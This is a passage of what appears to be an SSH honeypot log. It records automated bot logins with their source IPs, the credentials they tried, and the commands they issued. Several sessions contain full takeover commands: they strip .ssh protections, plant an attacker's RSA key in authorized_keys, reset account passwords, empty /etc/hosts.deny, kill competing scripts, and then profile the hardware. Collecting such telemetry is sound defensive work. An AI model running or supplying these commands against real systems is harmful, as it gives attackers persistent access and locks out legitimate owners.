1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:37:48.842036+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:37:49.245404+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:37:49.538584+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:37:50.095907+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:37:50.391702+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:37:51.068864+00:00","kind":"output","latency_ms":null,"data":"inventory"},{"seq":29,"at":"2026-08-27T12:37:51.362263+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:37:52.436020+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:37:52.731895+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:37:54.244053+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"inventory","password":"inventory","method":"password","accepted":true,"tier":"other"}]} {"id":"3e59a2b6-5ca3-4b3c-a371-56c48ad903d9","name":"crisp-honest-quoll","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":59326,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:37:49.832818+00:00","ended_at":"2026-08-27T12:37:51.792145+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-27T12:37:32.133051+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:37:32.459345+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:37:35.493188+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:37:36.228200+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:37:36.555482+00:00","kind":"input","latency_ms":null,"data":"echo \"root:Q7ddC8SAEW8q\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:37:36.887062+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:37:37.215605+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:37:37.775016+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:37:38.103136+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:37:39.416813+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:37:39.746099+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:37:40.976602+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:37:41.308480+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:37:41.908649+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:37:42.237802+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:37:42.729851+00:00","kind":"output","latency_ms":null,"data":" 12:37:42 up 7 days, 9:27, 0 user, load average: 0.18, 0.2, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:37:43.061734+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:37:43.332208+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:37:43.662733+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:37:44.274158+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:37:44.604135+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:37:45.157114+00:00","kind":"output","latency_ms":null,"data":"top - 12:37:45 up 7 days, 9:27, 0 user, load average: 0.18, 0.2, 0.17\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:37:45.486846+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:37:46.224556+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:37:46.553069+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:37:46.927843+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:37:47.255734+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:37:47.537218+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:37:47.867933+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:37:49.506540+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:37:49.833679+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:37:51.693571+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"12345678aa","method":"password","accepted":true,"tier":"other"}]} {"id":"5121a5b8-25db-4538-b9ea-2f8fb63a5c2f","name":"freckled-somber-teal","protocol":"ssh","channel_kind":"exec","src_ip":"2.57.122.53","src_port":33414,"username":"claude","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":205,"probe_flagged":0,"exec_command":"/bin/./uname -s -v -n -r -m","started_at":"2026-08-27T12:37:48.201764+00:00","ended_at":"2026-08-27T12:37:48.304192+00:00","ended_reason":"exec complete","commands":7,"transcript_bytes":738,"events":[{"seq":1,"at":"2026-08-27T12:37:46.390871+00:00","kind":"input","latency_ms":null,"data":"/bin/./uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T12:37:46.968110+00:00","kind":"output","latency_ms":null,"data":""},{"seq":3,"at":"2026-08-27T12:37:47.173943+00:00","kind":"input","latency_ms":null,"data":"uptime -p"},{"seq":4,"at":"2026-08-27T12:37:47.174442+00:00","kind":"output","latency_ms":null,"data":" 12:37:47 up 7 days, 9:27, 0 user, load average: 0.28, 0.34, 0.26"},{"seq":5,"at":"2026-08-27T12:37:47.380197+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA | cut -f5- -d ' '"},{"seq":6,"at":"2026-08-27T12:37:47.380654+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-27T12:37:47.585767+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA -c"},{"seq":8,"at":"2026-08-27T12:37:47.586340+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":9,"at":"2026-08-27T12:37:47.790770+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}'"},{"seq":10,"at":"2026-08-27T12:37:47.791485+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":11,"at":"2026-08-27T12:37:47.997030+00:00","kind":"input","latency_ms":null,"data":"lspci | grep \"3D controller\" | cut -f5- -d ' '"},{"seq":12,"at":"2026-08-27T12:37:47.997574+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":13,"at":"2026-08-27T12:37:48.202714+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | grep . -c "},{"seq":14,"at":"2026-08-27T12:37:48.203237+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"}],"credentials":[{"username":"claude","password":"claude","method":"password","accepted":true,"tier":"other"}]} {"id":"71728729-1c5e-4d71-86b5-fcf06420e520","name":"umber-chilly-raven","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":36242,"username":"inventory","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:37:38.430151+00:00","ended_at":"2026-08-27T12:37:39.294141+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"inventory","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"3797c883-fd69-4e8e-a605-753e4f04fd07","name":"rapid-hushed-polecat","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":36228,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:37:36.087607+00:00","ended_at":"2026-08-27T12:37:37.844062+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"65834ad2-99ae-492e-8b0f-b3fd2076385d","name":"forlorn-spirited-turnstone","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":59340,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:37:34.612656+00:00","ended_at":"2026-08-27T12:37:35.396316+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"30cf0601-5232-4355-9365-a2a1b01f49d7","name":"buoyant-sincere-stonechat","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":59330,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:37:33.208796+00:00","ended_at":"2026-08-27T12:37:33.960029+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"cbc3e03a-99ce-43c4-b6d9-9adcf2da4159","name":"scarlet-hardy-tanager","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59760,"username":"sendmail","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":442,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:37:20.204796+00:00","ended_at":"2026-08-27T12:37:21.458484+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2257,"events":[{"seq":1,"at":"2026-08-27T12:36:59.035464+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:36:59.474893+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:37:03.447937+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:37:04.043752+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:37:04.485130+00:00","kind":"input","latency_ms":null,"data":"echo -e \"sendmail\\nBtkCeNCixVnV\\nBtkCeNCixVnV\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:37:04.927757+00:00","kind":"input","latency_ms":null,"data":"echo \"sendmail\\nBtkCeNCixVnV\\nBtkCeNCixVnV\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:37:05.376518+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:37:05.984195+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:37:06.423478+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:37:07.858921+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:37:08.302527+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:37:09.385029+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:37:09.827048+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:37:10.281196+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:37:11.021421+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:37:11.642664+00:00","kind":"output","latency_ms":null,"data":" 12:37:11 up 7 days, 9:27, 0 user, load average: 0.21, 0.22, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:37:12.083051+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:37:12.476086+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:37:12.921248+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:37:13.785122+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:37:14.225747+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:37:14.874304+00:00","kind":"output","latency_ms":null,"data":"top - 12:37:14 up 7 days, 9:27, 0 user, load average: 0.21, 0.22, 0.2\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:37:15.315214+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:37:15.682480+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:37:16.130263+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:37:16.801573+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:37:17.242594+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:37:18.130543+00:00","kind":"output","latency_ms":null,"data":"sendmail"},{"seq":29,"at":"2026-08-27T12:37:18.580245+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:37:19.764237+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:37:20.205595+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:37:21.325335+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"sendmail","password":"sendmail","method":"password","accepted":true,"tier":"other"}]} {"id":"a0eac464-ca9b-423b-a5ae-5c03da6d1d3f","name":"sleepy-gloomy-civet","protocol":"ssh","channel_kind":null,"src_ip":"187.111.28.131","src_port":59780,"username":"sendmail","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:37:02.320236+00:00","ended_at":"2026-08-27T12:37:03.297181+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"sendmail","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"276b53a3-5acd-4bfb-8d1a-6b5ba6050bb3","name":"restless-umber-raven","protocol":"ssh","channel_kind":null,"src_ip":"187.111.28.131","src_port":59764,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:37:00.489779+00:00","ended_at":"2026-08-27T12:37:01.412308+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"467028cb-c29a-47a2-afec-d16a157b2777","name":"honest-frank-galago","protocol":"ssh","channel_kind":null,"src_ip":"202.155.157.112","src_port":55354,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:36:56.792472+00:00","ended_at":"2026-08-27T12:36:58.539322+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"3d86b2d0-d6a5-4d6c-af6a-5baf78e630a9","name":"watchful-emerald-dotterel","protocol":"ssh","channel_kind":null,"src_ip":"202.155.157.112","src_port":55346,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:36:52.010293+00:00","ended_at":"2026-08-27T12:36:54.033463+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"3d7f905c-ba6c-49fd-9c86-a32b9576a007","name":"sandy-plush-oryx","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":49104,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:36:48.413311+00:00","ended_at":"2026-08-27T12:36:50.277326+00:00","ended_reason":"exec complete","commands":1,"transcript_bytes":65,"events":[{"seq":1,"at":"2026-08-27T12:36:48.414095+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:36:49.734530+00:00","kind":"output","latency_ms":null,"data":"-bash: cd: command not found"}],"credentials":[{"username":"root","password":"racing","method":"password","accepted":true,"tier":"other"}]} {"id":"d19969c2-a9cf-4daf-9142-def539c838c8","name":"prickly-genial-condor","protocol":"ssh","channel_kind":null,"src_ip":"23.175.50.52","src_port":57662,"username":"user","client_version":"SSH-2.0-PuTTY_Release_0.70","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:36:44.644324+00:00","ended_at":"2026-08-27T12:36:47.869680+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user","password":"kisan","method":"password","accepted":true,"tier":"other"}]} {"id":"ca3841d0-2be8-40db-974c-3a1cfa7f3b05","name":"coral-keen-brambling","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":57430,"username":"user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":299,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:35:51.340494+00:00","ended_at":"2026-08-27T12:35:53.501899+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2259,"events":[{"seq":1,"at":"2026-08-27T12:35:32.816842+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:35:33.113617+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:35:38.310204+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:35:38.807115+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:35:39.106748+00:00","kind":"input","latency_ms":null,"data":"echo -e \"user123456\\nKAXijEnzrgmb\\nKAXijEnzrgmb\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:35:39.404588+00:00","kind":"input","latency_ms":null,"data":"echo \"user123456\\nKAXijEnzrgmb\\nKAXijEnzrgmb\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:35:39.700927+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:35:40.384935+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:35:40.681809+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:35:41.870223+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:35:42.173703+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:35:43.141611+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:35:43.443504+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:35:43.798113+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:35:44.094093+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:35:44.423084+00:00","kind":"output","latency_ms":null,"data":" 12:35:44 up 7 days, 9:25, 0 user, load average: 0.35, 0.42, 0.26\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:35:44.723326+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:35:45.053959+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:35:45.355784+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:35:45.770736+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:35:46.069451+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:35:46.469743+00:00","kind":"output","latency_ms":null,"data":"top - 12:35:46 up 7 days, 9:25, 0 user, load average: 0.35, 0.42, 0.26\nTasks: 128 total, 1 running, 127 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 